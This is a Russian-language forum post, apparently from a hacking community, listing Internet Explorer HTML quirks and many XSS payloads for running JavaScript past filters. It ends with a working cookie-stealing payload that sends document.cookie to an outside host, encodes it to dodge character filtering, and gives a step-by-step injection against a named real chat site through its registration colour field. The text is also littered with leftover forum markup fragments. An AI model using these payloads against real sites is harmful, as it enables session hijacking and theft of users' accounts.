Захожу в инет с разных мест! И постоянно приходится вспоминать разные баги IE...
Может мою доку разместят на antichat.ru (чтобы каждый раз не париться):
------------------------------------------------------------
[b]Тэг img и image работают одинаково (об <image> мало кто знает).
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><img src="1.png" alt="" border="0">
<image src="1.png" alt="" border="0">[/QUOTE]<span id='postcolor'>
Слеш вместо пробела.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><image/src="1.png"/alt="Подсказка"/border="0">[/QUOTE]<span id='postcolor'>
Значения можно заключать в кавычки (двойные и одинарные) и в апострофы, а можно вообще не ограничивать.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><image src="" alt="Моя подсказка" border="0">
<image src="" alt='Моя подсказка' border="0">
<image src="" alt=`Моя подсказка` border="0">
<image src="" alt=Подсказка border="0">[/QUOTE]<span id='postcolor'>
Спецсимволы в значениях параметров автоматический переводятся обратно.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert("ok")>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert(&quot;ok&qu ot;)>
<meta http-equiv=Refresh content=0;url=javascript:alert(&#039;ok&#0 39;)>
<meta http-equiv=Refresh content=0;url=&#106;&#97;&#118;&#9 7;&#115;&#99;&#114;&#105;&#112 ;&#116;&#58;&#97;&#108;&#101;& amp;#114;&#116;&#40;&#39;&#111;&am p;#107;&#39;&#41;>[/QUOTE]<span id='postcolor'>
Также можно использовать слеш (только в этом случае эти слеши будут частью текста).
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><meta http-equiv=Refresh content=0;url=javascript:alert(/ok/)>[/QUOTE]<span id='postcolor'>
Несколько способов запустить JavaScript.
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">< script>alert('ok')</script>
< script src=1.js></script>
<body onLoad=alert('ok')>
<meta http-equiv=Refresh content=0;url=javascript:alert('ok')>
<image src=1.png onload=alert('ok')>
<image src=javascript:alert('ok')>
<image src="" onerror=alert('ok')>
<hr style=background:url(javascript:alert('ok'))>
<span style=top:expression(eval("alert('ok')"))></span>
<style type="text/css">@import url(javascript:alert('ok'));</style>
<object classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('ok')></object>
<embed src=javascript:alert('ok');this.avi>
<embed src=javascript:alert('ok');this.wav>
<iframe src=javascript:alert('ok')>[/QUOTE]<span id='postcolor'>
Операторы JavaScript из тэга STYLE надо разделять "\;".
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><hr style=`background:url(javascript:alert('ok 1')\;alert('ok 2'))`>[/QUOTE]<span id='postcolor'>
Как украсть cookie если скрипты блокируют символы < > " ' & ???
1. Скрипт для отсылки cookie:
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE"><img src=javascript:location.href='http:\/\/antichat.ru\/cgi-bin\/s.jpg?'+document.cookie>[/QUOTE]<span id='postcolor'>
Все / необходимо экранировать, т.к. мы будем использовать unescape(/текст/);
2. Кодируем все что надо (символы которые фильтрует чат, форум и т.п.):
</span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E[/QUOTE]<span id='postcolor'>
3. Теперь собираем инъекцию (пример из
http://www.dmbchat.ru):
При регистрации укажите свой цвет как: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">FF z=`[/QUOTE]<span id='postcolor'>
Заходим в чат и посылаем: </span><table border="0" align="center" width="95%" cellpadding="3" cellspacing="1"><tr><td>
Исходный код </td></tr><tr><td id="CODE">` style=`background:url(javascript:top.frames[3].doc ument.write(unescape(/%3Cimg src=javascript:location.href=%27http:%5C%2F%5C%2Fa ntichat.ru%5C%2Fcgi-bin%5C%2Fs.jpg?%27+document.cookie%3E/)))` [/QUOTE]<span id='postcolor'>
Как видно, мы не использовали ни одного запрещенного символы!
После исполнения кода в 4ом фрейме будет html-код: /<img src=javascript
:...>/
Который и выполнит наш скрипт!!!
Совет по
http://www.dmbchat.ru:
Там в списке пользователей рядом с каждым именем есть пагоны (это их звания), так вот – Прапорщики могут банить аж на год =)</b>